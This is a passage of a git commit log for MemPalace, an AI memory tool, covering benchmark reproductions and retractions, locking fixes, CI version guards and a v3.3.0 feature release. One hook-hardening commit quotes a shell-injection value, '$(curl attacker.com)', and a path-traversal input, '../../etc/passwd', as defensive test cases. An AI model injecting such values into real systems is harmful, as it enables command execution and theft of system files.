   finishes the retraction on the website where it had remained.

website/guide/searching.md
 - Same treatment for "34% retrieval improvement". Reframe as
   operational scoping, not a novel boost.

website/reference/contributing.md
 - Update the "palace structure matters" bullet to reflect the same
   framing: scoping-not-magic.

website/concepts/knowledge-graph.md
 - Replace the MemPalace-vs-Zep feature matrix with a short "related
   work" note that links to Zep's own documentation for authoritative
   details on their deployment model. Avoids claims we cannot verify
   at source.
2026-04-14 21:37:45 -03:00
Igor Lins e Silva 65bf1ebda3 docs: slim README and move corrections/notices to docs/HISTORY.md
Addresses #875. The previous README was 755 lines mixing six purposes
(scam alert, hero, two mea-culpa notes, install guide, architecture
explainer, API reference, file map). Rework it as a pure entry point:
what MemPalace is, how to install, honest benchmark numbers, links to
the website for concept/architecture documentation.

Key content changes:
 - Drop the "highest-scoring AI memory system ever benchmarked" framing.
 - New tagline: "Local-first AI memory. Verbatim storage, pluggable
   backend, 96.6% R@5 raw on LongMemEval — zero API calls." Avoids
   naming a specific vector-store implementation since the backend is
   pluggable (see mempalace/backends/base.py).
 - Remove the cross-system comparison table. Retrieval recall (R@5)
   and end-to-end QA accuracy are different metrics and are not
   comparable; placing MemPalace's R@5 next to competitor QA accuracy
   under a single column header was a category error.
 - The "100%" LongMemEval headline is no longer the lead. The honest
   held-out figure is 98.4% R@5 on 450 unseen questions. The rerank
   pipeline reaches >=99% with any capable LLM (reproduced with
   Claude Haiku, Sonnet, and minimax-m2.7 via Ollama) — pipeline-level,
   not model-specific.
 - Benchmark reproduction commands now reference the correct repo
   (MemPalace/mempalace, not the defunct aya-thekeeper/mempal branch).

New file: docs/HISTORY.md as the canonical home for post-launch
corrections, public notices, and retractions. Contains verbatim:
 - 2026-04-14 note on this rewrite (links to #875)
 - 2026-04-11 impostor-domain notice (moved from README header)
 - 2026-04-07 "A Note from Milla & Ben" (moved from README body)

README keeps a one-line scam-alert callout that links to
docs/HISTORY.md for the full timeline.
2026-04-14 21:37:20 -03:00
Igor Lins e Silva 61d02e10fe benchmarks: add v3.3.0 reproduction results + 50/450 split
Addresses #875: every internal BENCHMARKS.md claim reproduced
on Linux x86_64 (v3.3.0 tag, deterministic ChromaDB embeddings,
seed=42 for the LongMemEval dev/held-out split).

Scorecard — all reproduce exactly:

  LongMemEval
    raw R@5                            96.6% (500/500)   ✅
    hybrid_v4 held-out 450 R@5         98.4% (442/450)   ✅
    hybrid_v4 + minimax rerank R@5     99.2% (496/500)   *
    hybrid_v4 + minimax rerank R@10   100.0% (500/500)   *

  LoCoMo (session, top-10)
    raw                                60.3% (1986q)     ✅
    hybrid v5                          88.9% (1986q)     ✅

  ConvoMem all-categories (250 items)   92.9%            ✅
  MemBench all-categories (8500)        80.3%            ✅

* The minimax-m2.7:cloud rerank run replicates the "100%" claim
  with a different LLM family (no Anthropic dependency). R@10 is
  a perfect reproduction; R@5 misses 4 questions that the
  published Haiku run caught — consistent with BENCHMARKS.md's own
  disclosure that hybrid_v4 includes three question-specific fixes
  developed by inspecting misses, i.e. teaching to the test.

The committed 50/450 split is the deterministic (seed=42) split
BENCHMARKS.md references but wasn't previously in the repo.

Full result JSONLs include every question, every retrieved id,
and every score — auditable end-to-end.
2026-04-14 21:21:11 -03:00
Igor Lins e Silva ca0682abe3 benchmarks: apply ruff-format to llm_rerank (trivial line wrap) 2026-04-14 21:20:54 -03:00
Igor Lins e Silva 8df7b9bf2c benchmarks: add --llm-backend ollama for non-Anthropic rerank
The rerank pipeline was hardcoded to Anthropic's /v1/messages.
Add a backend flag so the same code path can be exercised with
any OpenAI-compatible endpoint — local Ollama, Ollama Cloud,
or any gateway that speaks /v1/chat/completions.

Enables independent verification of the "100% with Haiku rerank"
claim by running the full benchmark with a different LLM family
(e.g. minimax-m2.7:cloud) and zero Anthropic dependency.

Both longmemeval_bench.py and locomo_bench.py:
 - llm_rerank*() gain backend= / base_url= kwargs
 - CLI: --llm-backend {anthropic,ollama}, --llm-base-url
 - API key required only when backend=anthropic (diary/palace modes still require it)
 - Parse last integer in response (reasoning models emit multi-int output)
 - Fallback to message.reasoning when content is empty
 - Raise max_tokens to 1024 for reasoning models
2026-04-14 21:20:14 -03:00
Igor Lins e Silva 29bc868c89 Merge pull request #887 from MemPalace/fix/kg-close-lock
fix: add lock to KG close() — last missing lock (closes #883)
2026-04-14 17:24:36 -03:00
MSLandClaude Opus 4.6 3094c0bd10 fix: add missing self._lock to KnowledgeGraph.close()
TDD: test first, failed, fixed, passed.

Igor fixed query_relationship/timeline/stats in an earlier commit.
close() was the last method touching self._connection without
holding the lock.

Closes #883.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-14 13:09:10 -07:00
Igor Lins e Silva 205867a09f Merge pull request #885 from MemPalace/fix/hook-invalid-decision
fix: replace invalid 'decision: allow' with {} in hooks (closes #872)
2026-04-14 16:56:30 -03:00
Igor Lins e Silva 03692273c0 Merge pull request #884 from shafdev/fix/kg-missing-lock
fix: add missing self._lock to query_relationship, timeline, and stats in KnowledgeGraph
2026-04-14 16:47:24 -03:00
MSLandClaude Opus 4.6 df986fd5e2 fix: replace invalid 'decision: allow' with {} in hooks
Closes #872. The top-level decision field only recognizes "block".
To not block, return empty JSON {}. "allow" was silently ignored
by Claude Code, causing unpredictable behavior.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-14 12:39:35 -07:00
shafdev 1fa0e57d74 fix: add missing self._lock to query_relationship, timeline, stats in KnowledgeGraph 2026-04-15 00:33:58 +05:30
Igor Lins e Silva a3f4674963 Merge pull request #881 from MemPalace/feat/devcontainer
feat: add VSCode devcontainer matching CI environment
2026-04-14 15:17:02 -03:00
Igor Lins e Silva c9b3245994 Merge pull request #880 from MemPalace/perf-optimize-regex-compilation-15578943484596502942
⚡ Optimize regex compilation in entity extraction
2026-04-14 15:10:34 -03:00
Igor Lins e Silva 6a5e73c856 feat: add VSCode devcontainer matching CI environment
Contributors now get a one-click dev environment that mirrors CI exactly:
Python 3.11 (middle of the 3.9/3.11/3.13 matrix), ruff pinned to the same
>=0.4.0,<0.5 range CI enforces, and pre-commit hooks auto-installed from
the existing .pre-commit-config.yaml.

Pinning ruff in post-create.sh is the load-bearing piece: pyproject only
sets a floor, so without the pin the ruff extension would install 0.15.x
and phantom-fail lint against CI's 0.4.x.
2026-04-14 15:10:23 -03:00
Milla JandClaude Opus 4.6 3ac75d0fdb feat: add MEMPAL_VERBOSE toggle — developers see diaries in chat (#871)
export MEMPAL_VERBOSE=true  → hook blocks, agent writes diary in chat
export MEMPAL_VERBOSE=false → silent background save (default)

Developers need to see code and diaries being written.
Regular users want zero chat clutter. Now both work.

TDD: tests written first, failed, code fixed, tests pass.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-14 10:55:56 -07:00
google-labs-jules[bot]andigorls 21793cfb48 perf: optimize regex compilation in entity extraction
Move regular expression compilation to the module level in `dialect.py` to prevent repeated parsing during loop execution.

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-14 17:43:26 +00:00
Igor Lins e Silva 4741bc0055 Merge pull request #873 from sha2fiddy/feature/455/kg-sanitize-punctuation
fix: use permissive validator for KG entity values
2026-04-14 14:15:33 -03:00
Igor Lins e Silva 8630e7e3e0 Merge pull request #869 from gbhat618/fake-website-visibility-increase
Increase visibility of fake website caution
2026-04-14 14:12:16 -03:00
Igor Lins e Silva da89a11bda docs: name official domain and specific impostors in scam alert
Replace the blanket ban on .tech/.io/.com domains with an allowlist
of real MemPalace surfaces (GitHub repo, PyPI, mempalaceofficial.com)
and call out mempalace.tech as the reported impostor. The blanket
.com ban would have flagged mempalaceofficial.com as fake once DNS
resolves (CNAME shipped in #877).

Also update the April 11 follow-up section to match so the two
notices no longer contradict each other.
2026-04-14 14:11:05 -03:00
Igor Lins e Silva e1d24d8087 Merge pull request #812 from Kesshite/fix/security-hook-injection
fix: harden hooks against shell injection, path traversal, and arithmetic injection
2026-04-14 14:10:33 -03:00
Igor Lins e Silva 6378588102 Merge pull request #604 from mvanhorn/fix/14-mine-no-yaml
fix: allow mining directories without local mempalace.yaml
2026-04-14 14:06:04 -03:00
Matt Van Horn 1ea00fb168 fix: send missing-yaml warning to stderr and flag basename collisions
Addresses review feedback on #604:

- Warning now goes to stderr instead of stdout so it doesn't mix with
  mine progress output when users pipe stdout elsewhere.
- Warning explicitly calls out that directories with the same basename
  will share a wing name, and suggests adding mempalace.yaml to
  disambiguate. Prevents silent content mixing across projects mined
  without yaml.
2026-04-14 13:53:07 -03:00
Matt Van Horn a035293998 fix: remove unused sys import 2026-04-14 13:53:07 -03:00
Matt Van Horn e8e93b53c0 fix: allow mining directories without local mempalace.yaml
When no mempalace.yaml or mempal.yaml exists in the source directory,
return a default config (wing = directory name, room = general) instead
of calling sys.exit(1). This lets users mine any directory into their
palace without requiring init first.

Closes #14.
2026-04-14 13:53:07 -03:00
Igor Lins e Silva 73f038c0c0 Merge pull request #878 from MemPalace/develop
release: sync develop → main (v3.3.0 manifest, SECURITY.md, version guard, Pages CNAME)
2026-04-14 12:35:51 -03:00
Igor Lins e Silva 4de9e135ce Merge pull request #810 from Yorji-Porji/patch-1
Create SECURITY.md
2026-04-14 11:53:57 -03:00
Igor Lins e Silva 625162edd3 docs: tighten SECURITY.md with real version policy and GHPVR-only channel
Builds on @Yorji-Porji's draft by fixing three issues before it lands:

- Replace the `< 1.0.0` placeholder table with MemPalace's actual
  support policy: current major (3.x) receives fixes, 2.x and earlier
  do not.
- Remove the `[Insert Maintainer Email Here]` placeholder and the
  email fallback. GitHub Private Vulnerability Reporting is enabled
  on this repo; the policy points there exclusively so there is no
  risk of a researcher emailing a dead address.
- Drop the meta-note ("Adjust the table above…") that was an
  instruction to the maintainer, not policy text.

Structure, triage timelines, and credit language are kept as drafted.
2026-04-14 11:50:00 -03:00
Igor Lins e Silva 43189b65d7 Merge pull request #853 from mvalentsev/fix/pyproject-urls
fix: update stale org URLs in pyproject.toml and README (#787)
2026-04-14 11:44:50 -03:00
Igor Lins e Silva 26e313e031 Merge pull request #877 from MemPalace/fix/pages-cname
fix: ship CNAME in Pages build to pin mempalaceofficial.com
2026-04-14 11:42:50 -03:00
Igor Lins e Silva ff6a907834 Merge pull request #876 from MemPalace/fix/version-drift-874
fix: align plugin manifests with release tags and guard future drift (#874)
2026-04-14 11:41:30 -03:00
Igor Lins e Silva 97a4b0e749 fix: ship CNAME in Pages artifact to pin custom domain
Adds website/public/CNAME containing `mempalaceofficial.com` so the
VitePress build output always includes /CNAME in the Pages artifact.
Without this, the custom-domain setting is only held in the repo's
Pages API config — if it ever drifts (manual edit, org move, workflow
change), the site reverts to <org>.github.io with no record in source.

Note: this does not fix the current site outage. The root cause is DNS
— mempalaceofficial.com has no A/AAAA/CNAME records pointing at GitHub
Pages IPs. That has to be fixed at the registrar. This commit is the
belt-and-suspenders so that once DNS is back, the domain is pinned in
source and the next workflow refactor can't accidentally drop it.
2026-04-14 11:37:47 -03:00
Igor Lins e Silva 162edf39fe ci: let semver pre-release tags bypass strict manifest match
Tags matching `vX.Y.Z-*` (e.g. v3.4.0-rc1, v1.0.0-beta.2) are treated as
internal/staging builds. They skip the tag-vs-manifest check because
pre-releases do not flow to end users via `/plugin update`, which reads
the manifest on the default branch.

Stable tags `vX.Y.Z` still require all five version sources to match
exactly, so the protection against the #874 drift remains intact. The
cross-file consistency check on PRs is unchanged — all manifests must
still agree with mempalace/version.py whenever any version file moves.
2026-04-14 11:34:54 -03:00
Igor Lins e Silva 06240c73b3 ci: add version guard to catch tag/manifest drift
Fails a tag push if `vX.Y.Z` does not match `mempalace/version.py` (the
single source of truth per CLAUDE.md), and fails PRs that touch any
version file without keeping all five in sync (pyproject.toml,
version.py, .claude-plugin/marketplace.json, .claude-plugin/plugin.json,
.codex-plugin/plugin.json).

Prevents the class of bug described in #874, where v3.1.0/v3.2.0/v3.3.0
tags all landed pointing at commits that still carried manifest version
3.0.14, blocking `/plugin update` for end users.

Refs #874
2026-04-14 11:32:44 -03:00
Igor Lins e Silva 3415e70dc6 chore: bump plugin manifests to 3.3.0 and fix owner URL
Aligns marketplace.json and both plugin.json files with version.py /
pyproject.toml (already at 3.3.0) so `/plugin update` reflects the
v3.1.0/v3.2.0/v3.3.0 tags that had been landing without manifest bumps.

Also updates marketplace.json `owner.url` from the stale
github.com/milla-jovovich path to the current github.com/MemPalace org.

Refs #874
2026-04-14 11:32:37 -03:00
eblander 79c9c0e517 fix: use permissive validator for KG entity values (closes #455)
sanitize_name rejects commas, colons, parentheses, and slashes — characters
that commonly appear in knowledge graph subject/object values. Adds
sanitize_kg_value for KG entity fields (subject, object, entity) while
keeping sanitize_name for predicates and wing/room names.
2026-04-14 09:26:47 -04:00
Guruprasad Bhat 1bff7d9907 Increase visibility of fake website caution
Noticed a URL 
```
hXXps://www.mempalace[.]tech/
```

Though the README currently warns, it is perhaps best to surface it at urgency level at the top of the README.
2026-04-14 17:08:06 +05:30
BLUDATA\marcio.heiderscheidt f7d703fd5b fix: add logging on rejected transcript paths and platform-native path test
- _count_human_messages() now logs a WARNING via _log() when a
  non-empty transcript_path is rejected by the validator, making
  silent auto-save failures diagnosable via hook.log
- Add test for platform-native paths (backslashes on Windows) to
  verify _validate_transcript_path works cross-platform
- Add test verifying the warning log is emitted on rejection

Refs: MemPalace/mempalace#809
2026-04-14 07:54:42 -03:00
BLUDATA\marcio.heiderscheidt 0f217f7c80 fix: harden hooks against shell injection, path traversal, and arithmetic injection
save_hook.sh:
- Coerce stop_hook_active to strict True/False before eval to prevent
  command injection via crafted JSON (e.g. "$(curl attacker.com)")
- Validate LAST_SAVE as plain integer with regex before bash arithmetic
  to prevent command substitution via poisoned state files

hooks_cli.py:
- Add _validate_transcript_path() that rejects paths with '..'
  components and non-.jsonl/.json extensions
- _count_human_messages() now uses the validator, returning 0 for
  invalid paths instead of opening arbitrary files

Tests:
- Path traversal rejection (../../etc/passwd)
- Wrong extension rejection (.txt, .py)
- Valid path acceptance (.jsonl, .json)
- Empty string handling
- Shell injection in stop_hook_active field

Refs: MemPalace/mempalace#809
2026-04-14 07:54:42 -03:00
mvalentsev 001700ce72 fix: update stale org URLs in pyproject.toml and README (#787) 2026-04-14 09:07:39 +05:00
Igor Lins e Silva b060171c59 Merge pull request #852 from MemPalace/release/v4-prep
refactor: route all chromadb access through ChromaBackend (v4 prep)
2026-04-14 00:51:10 -03:00
Igor Lins e Silva 267a644f4f refactor: route all chromadb access through ChromaBackend
Prerequisite for RFC 001 (plugin spec, #743). Removes every direct
`import chromadb` outside the ChromaDB backend itself so the core
modules depend only on the backend abstraction layer.

Extends ChromaBackend with make_client, get_or_create_collection,
delete_collection, create_collection, and backend_version. Adds
update() to the BaseCollection contract. Non-backend callers
(mcp_server, dedup, repair, migrate, cli) now go through the
abstraction; tests patch ChromaBackend instead of chromadb.

With this landed, the RFC 001 spec can be enforced and PalaceStore
(#643) can ship as a plugin without touching core modules.
2026-04-14 00:31:16 -03:00
Igor Lins e Silva 5a2f7db371 Merge pull request #845 from MemPalace/fix/deploy-docs-develop-only
ci: serve docs from develop only
2026-04-13 22:57:25 -03:00
Igor Lins e Silva c877e46224 Merge pull request #843 from MemPalace/sync/main-into-develop
sync: main → develop (post v3.3.0 release)
2026-04-13 22:56:48 -03:00
Igor Lins e Silva 06c4289999 ci: serve docs from develop only
Docs deploy to GitHub Pages from develop for faster iteration cycles.
Main was failing the deploy step with "Branch 'main' is not allowed to
deploy to github-pages due to environment protection rules" on every
release merge (v3.2.0, v3.3.0) — noise without signal, since docs
weren't meant to serve from main anyway.

Removes main from both the push trigger and the deploy-job guard.
Develop continues to deploy as before; manual dispatch still works.
2026-04-13 22:56:04 -03:00
Igor Lins e Silva 962776c2e3 sync: merge main into develop after v3.3.0 release
Bring back the main-only content that develop has been missing:
- pyproject.toml chromadb upper-bound removal (#690)
- CHANGELOG [3.2.0] Packaging subsection (#690, #761)
- CONTRIBUTING.md fork-first clone instructions
- mempalace/hooks_cli.py richer block-reason strings (from #666,
  still used by the Python hook invocation path)
- integrations/openclaw/SKILL.md version bump to 3.3.0

Plus the v3.3.0 release commit itself (4aa7e1e) and the legacy
main-only commits (#666, #690, v3.2.0 finalization) for history.

Resolves the main → develop drift that caused PR #838's conflicts.
Going forward, back-merging main to develop after each release
will prevent the same pattern.

Single conflict in CHANGELOG.md resolved by taking main's version
(the Packaging subsection under [3.2.0]).
2026-04-13 22:42:58 -03:00
4aa7e1eebd release: v3.3.0 (#839)
* fix: add file-level locking to prevent multi-agent duplicate drawers

Root cause: when multiple agents mine simultaneously, both pass
file_already_mined() check, both delete+insert the same file's
drawers, creating duplicates or losing data.

Fix: mine_lock() in palace.py — cross-platform file lock (fcntl on
Unix, msvcrt on Windows). Both miner.py and convo_miner.py now lock
per-file during the delete+insert cycle and re-check after acquiring
the lock.

Tested:
- Lock acquires and releases correctly
- Second agent blocks until first releases (0.25s wait)
- 33/33 existing tests pass
- Cross-platform: fcntl (macOS/Linux), msvcrt (Windows)

Based on v3.2.0 tag.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: strip system tags, hook output, and Claude UI chrome from drawers

normalize.py now strips before filing:
- <system-reminder>, <command-message>, <command-name> tags
- <task-notification>, <user-prompt-submit-hook>, <hook_output> tags
- Hook status messages (CURRENT TIME, Checking verified facts, etc.)
- Claude Code UI chrome (ctrl+o to expand, progress bars, etc.)
- Collapsed runs of blank lines

This noise was going straight into drawers, wasting storage space
and polluting search results. strip_noise() runs on all normalized
output regardless of input format (JSONL, JSON, plain text).

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: add closet layer — searchable index pointing to drawers

The closet architecture was always part of MemPalace's design but
never shipped in the public codebase. This adds it.

Palace now has TWO collections:
- mempalace_drawers — full verbatim content (unchanged)
- mempalace_closets — compact AAAK-style index entries

How it works:
- When mining, each file gets a closet alongside its drawers
- Closet contains extracted topics, entities, quotes as pointers
- Closets pack up to 1500 chars, topics never split mid-entry
- Search hits closets first (fast, small), then hydrates the
  full drawer content for matching files
- Falls back to direct drawer search if no closets exist yet

Files changed:
- palace.py: get_closets_collection(), build_closet_text(),
  upsert_closet(), CLOSET_CHAR_LIMIT
- miner.py: process_file() now creates closets after drawers
- searcher.py: search_memories() tries closet-first search,
  hydrates drawers, falls back to direct search

Backwards compatible — existing palaces without closets continue
to work via the fallback path. Closets are created on next mine.

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: enforce atomic topics in closets, extract richer pointers

- upsert_closet replaced by upsert_closet_lines: checks each topic
  line individually against CLOSET_CHAR_LIMIT. If adding one line
  WHOLE would exceed the limit, starts a new closet. Never splits
  mid-topic.
- build_closet_lines returns a list of atomic lines (not joined text)
- Richer extraction: section headers, more action verbs, up to 3
  quotes, up to 12 topics per file
- Each line is complete: topic|entities|→drawer_refs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* docs: add CLOSETS.md — closet layer overview

Cherry-picked the docs portion of 67e4ac6 to accompany the closet
feature. Test coverage for closets is omnibus with tests for entity
metadata and BM25 (see PR targeting those features) and will land
together in a follow-up.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>

* feat: entity metadata + diary ingest + BM25 hybrid search

Three features that close the gap between the architecture docs
and the actual codebase:

1. Entity metadata on drawers and closets
   - _extract_entities_for_metadata() pulls names from known_entities.json
     + proper nouns appearing 2+ times
   - Stamped as "entities" field in ChromaDB metadata
   - Enables filterable search by person/project name

2. Day-based diary ingest (diary_ingest.py)
   - ONE drawer per day, upserted as the day grows
   - Closets pack topics atomically, never split mid-topic
   - Tracks entry count in state file, only processes new entries
   - Usage: python -m mempalace.diary_ingest --dir ~/summaries

3. BM25 hybrid search in searcher.py
   - _bm25_score() keyword matching complements vector similarity
   - _hybrid_rank() combines both signals (60% vector, 40% BM25)
   - Catches exact name/term matches that embeddings miss
   - Applied to both closet-first and direct drawer search paths

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* test: add tests for mine_lock, closets, entity metadata, BM25, diary

Trimmed version of Milla's omnibus test_closets.py to only cover
features present in this PR stack (#784 lock, #788 closets, this
PR's entity/BM25/diary). Strip-noise tests will land with #785;
tunnel tests will land with the tunnels PR.

16/16 pass.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>

* feat: explicit cross-wing tunnels for multi-project agents

Adds active tunnel creation alongside passive tunnel discovery.

Passive tunnels (existing): rooms with the same name across wings.
Explicit tunnels (new): agent-created links between specific
locations. "This API design in project_api relates to the database
schema in project_database."

New functions in palace_graph.py:
- create_tunnel() — link two wing/room pairs with a label
- list_tunnels() — list all explicit tunnels, filter by wing
- delete_tunnel() — remove a tunnel by ID
- follow_tunnels() — from a room, find all connected rooms in
  other wings with drawer content previews

New MCP tools:
- mempalace_create_tunnel
- mempalace_list_tunnels
- mempalace_delete_tunnel
- mempalace_follow_tunnels

Tunnels stored in ~/.mempalace/tunnels.json (persists across
palace rebuilds). Deduplicated by endpoint pair.

689/689 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* test: add TestTunnels for cross-wing tunnel operations

Appended from Milla's omnibus test_closets.py — covers create,
list, delete, dedup, and follow_tunnels behavior. 21/21 pass.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>

* feat(search): drawer-grep returns best-matching chunk + neighbors

When a closet hit leads to a source file with many drawers, grep each
chunk for query terms and return the BEST-MATCHING chunk + 1 neighbor
on each side, instead of dumping the whole file truncated at
MAX_HYDRATION_CHARS. Result now includes drawer_index and
total_drawers so callers can request adjacent drawers explicitly.

Extracted from Milla's commit 935f657 which bundled drawer-grep with
closet_llm (deferred pending LLM_ENDPOINT refactor) and fact_checker
(separate PR). Ported only the searcher.py change.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: offline fact checker against entity registry + knowledge graph

fact_checker.py verifies text for contradictions against locally stored
entities and KG facts. Catches similar-name confusion (Bob vs Bobby),
relationship mismatches (KG says husband, text says brother), and
stale facts (KG valid_from/valid_to).

No hardcoded facts. No network calls. Reads:
- ~/.mempalace/known_entities.json
- KnowledgeGraph SQLite

Usage:
  from mempalace.fact_checker import check_text
  issues = check_text("Bob is Alice's brother", palace_path)

  # CLI
  python -m mempalace.fact_checker "text" --palace ~/.mempalace/palace

Extracted from Milla's commit 935f657 which bundled this with
closet_llm (deferred) and drawer-grep (PR #791). Ported only
fact_checker.py — verified no network / API imports.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: optional LLM-based closet regeneration — bring-your-own endpoint

Adds mempalace/closet_llm.py as an OPTIONAL path for richer closet
generation. Regex closets remain the default and cover the local-first
promise; users who want LLM-quality topics can bring their own endpoint.

Configuration (env or CLI flag):
  LLM_ENDPOINT — OpenAI-compatible base URL (required)
  LLM_KEY      — bearer token (optional; local inference skips this)
  LLM_MODEL    — model name (required)

Works with Ollama, vLLM, llama.cpp servers, OpenAI, OpenRouter, and any
other provider that speaks OpenAI-compatible /chat/completions. Zero new
dependencies — uses stdlib urllib.

Replaces the original Anthropic-SDK-hardcoded version of this module
from Milla's branch (commit 935f657). Same prompt, same parsing, same
regenerate_closets flow; only the transport was generalised so the
feature doesn't lock users into a specific vendor or require API keys
for core memory operations (CLAUDE.md, "Local-first, zero API").

Includes 13 unit tests covering config resolution, request shape,
auth-header omission when no key is set, code-fence stripping, and
missing-config error path. All mocked — zero network calls in tests.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>

* fix(search): hybrid closet+drawer retrieval — closets boost, never gate (#795)

* Fix: set cosine distance metadata on all collection creation sites

ChromaDB defaults HNSW index to L2 (Euclidean) distance, but
MemPalace scoring uses 1-distance which requires cosine (range 0-2).
Add metadata={"hnsw:space": "cosine"} to the 4 production and 3 test
call sites that were missing it.

Closes #218

* fix: sync version.py to 3.2.0

Commit 6614b9b bumped pyproject.toml to 3.2.0 but missed
mempalace/version.py, breaking test_version_consistency on
every PR's CI. This syncs them.

* refactor: extract locked filing block to keep mine_convos under C901

Adding the per-file lock + double-checked file_already_mined() in the
previous commit pushed mine_convos cyclomatic complexity from 25 to 26,
just over ruff's max-complexity threshold. Hoist the locked critical
section into _file_chunks_locked() so the outer loop stays within
budget. No behavior change.

* style: ruff format mempalace/palace.py

Add blank lines after inline imports in mine_lock. Pure formatting.

* fix(normalize): make strip_noise verbatim-safe and scope it to Claude Code JSONL

The initial strip_noise() regressed on three fronts when audited against
adversarial user content — each verified with executable repros against
the cherry-picked code:

  1. `<tag>.*?</tag>` with re.DOTALL span-ate across messages: one
     stray unclosed <system-reminder> anywhere in a session merged with
     the next closing tag, silently deleting everything between them
     (including full assistant replies).
  2. `.*\(ctrl\+o to expand\).*\n?` nuked entire lines of user prose
     whenever a user happened to document the TUI shortcut.
  3. `Ran \d+ (?:stop|pre|post)\s*hook.*` with IGNORECASE ate the
     second sentence from "our CI has a stop hook ... Ran 2 stop hooks
     last week" — legitimate user commentary.

These are unambiguous violations of the project's "Verbatim always"
design principle.

Fixes:

- All tag patterns are now line-anchored (`(?m)^(?:> )?<tag>`) and their
  body forbids crossing a blank line (`(?:(?!\n\s*\n)[\s\S])*?`), so a
  dangling open tag cannot eat neighboring messages.
- `_NOISE_LINE_PREFIXES` are line-anchored and case-sensitive — user
  prose mentioning "CURRENT TIME:" mid-sentence is preserved.
- Hook-run chrome requires `(?m)^`, explicit hook names (Stop,
  PreCompact, PreToolUse, etc.), and no IGNORECASE.
- "… +N lines" is line-anchored.
- "(ctrl+o to expand)" only matches Claude Code's actual collapsed-
  output chrome shape `[N tokens] (ctrl+o to expand)`; a bare
  parenthetical in user prose stays intact.

Scope:

- `strip_noise()` is no longer called on every normalization path.
  Only `_try_claude_code_jsonl` invokes it, per-extracted-message — so
  Claude.ai exports, ChatGPT exports, Slack JSON, Codex JSONL, and
  plain text with `>` markers pass through fully verbatim. Per-message
  application also makes span-eating structurally impossible.

Tests:

- 15 new tests in test_normalize.py pin the boundary: 6 guard user
  content that must survive (each of the adversarial repros), 9 assert
  real system chrome is still stripped. All pass; full suite 702 pass
  (2 failures are the unrelated pre-existing version.py bug, cleared
  by #820).

Known limitation (not fixed here): convo_miner.py does not delete
drawers on re-mine, so transcripts mined before this PR keep noise-
filled drawers until the user manually erases + re-mines. Proper fix
needs a schema-version field on drawer metadata + re-mine trigger —
out of scope for this PR.

* feat(normalize): auto-rebuild stale drawers via NORMALIZE_VERSION schema gate

Without this, the strip_noise improvement only helps new mines. Every
user who had already mined Claude Code JSONL sessions would keep their
noise-polluted drawers forever, because convo_miner's file_already_mined
skip short-circuits before re-processing.

Adds a versioned schema gate so upgrades propagate silently:

- palace.NORMALIZE_VERSION=2 — bumped when the normalization pipeline
  changes shape (this PR's strip_noise is the v1→v2 bump).
- file_already_mined now returns False if the stored normalize_version
  is missing or less than current, triggering a rebuild on next mine.
- Both miners stamp drawers with the current normalize_version.
- convo_miner now purges stale drawers before inserting fresh chunks
  (mirrors miner.py's existing delete+insert), extracted into
  _file_convo_chunks helper to keep mine_convos under ruff's C901 limit.

User experience: upgrade mempalace, run `mempalace mine` as usual, old
noisy drawers get silently replaced with clean ones. No erase needed,
no "you need to rebuild" changelog footgun.

Tests:
- test_file_already_mined_returns_false_for_stale_normalize_version —
  pins the version gate contract for missing/v1/current.
- test_add_drawer_stamps_normalize_version — fresh project-miner drawers
  carry the field.
- test_mine_convos_rebuilds_stale_drawers_after_schema_bump — end-to-end
  proof that a pre-v2 palace gets silently cleaned on next mine, with
  orphan drawers purged and NOT skipped.

Existing test_file_already_mined_check_mtime updated to include the
new field; all other tests unaffected.

* fix: stop hooks from making agents write in chat — save tokens

The save hook and precompact hook were telling the agent to write
diary entries, add drawers, and add KG triples IN THE CHAT WINDOW.
Every line written stays in conversation history and retransmits on
every subsequent turn — ~$1/session in wasted tokens.

Fix: hooks now say "saved in background, no action needed" and use
decision: allow instead of block. The agent continues working without
interruption. All filing happens via the background pipeline.

Also updated hooks README with:
- Known limitation: hooks require session restart after install
- Updated cost section: zero tokens, background-only

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: use microsecond timestamp and full content hash in diary entry ID (#819)

* fix: remove unused import 'main' from mempalace/__init__.py

Removed the 'main' import from `mempalace/__init__.py` and updated
`pyproject.toml` to point the script entry point directly to
`mempalace.cli:main`. This ensures the CLI remains functional while
improving code hygiene.

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>

* merge: full hardened stack + rewrite fact_checker around actual KG API

Merges the full hardened stack (up through #791 drawer-grep) and turns
fact_checker from "dead code hidden behind bare except" into an
actually-working offline contradiction detector with tests.

## Dead paths the PR body advertised but the code never executed

Both buried by a single outer ``except Exception: pass``:

  * ``kg.query(subject)`` — ``KnowledgeGraph`` has no ``query()`` method;
    it has ``query_entity()``. The attribute error was silently swallowed
    and the entire KG branch always returned ``[]``. Now using
    ``kg.query_entity(subject, direction="outgoing")`` with proper
    handling of the ``predicate``/``object``/``current``/``valid_to``
    fields the real API returns.
  * ``KnowledgeGraph(palace_path=palace_path)`` — the constructor's only
    kwarg is ``db_path``. Passing ``palace_path`` raised TypeError,
    silently swallowed. Now computing the db_path correctly from
    ``<palace>/knowledge_graph.sqlite3``, matching the convention the
    MCP server already uses.

## Contradiction logic rewritten

The previous ``if kg_pred in claim and fact.object not in claim`` only
fired when text used the SAME predicate word as the KG fact — the exact
opposite of the stated use case ("Bob is Alice's brother" when KG says
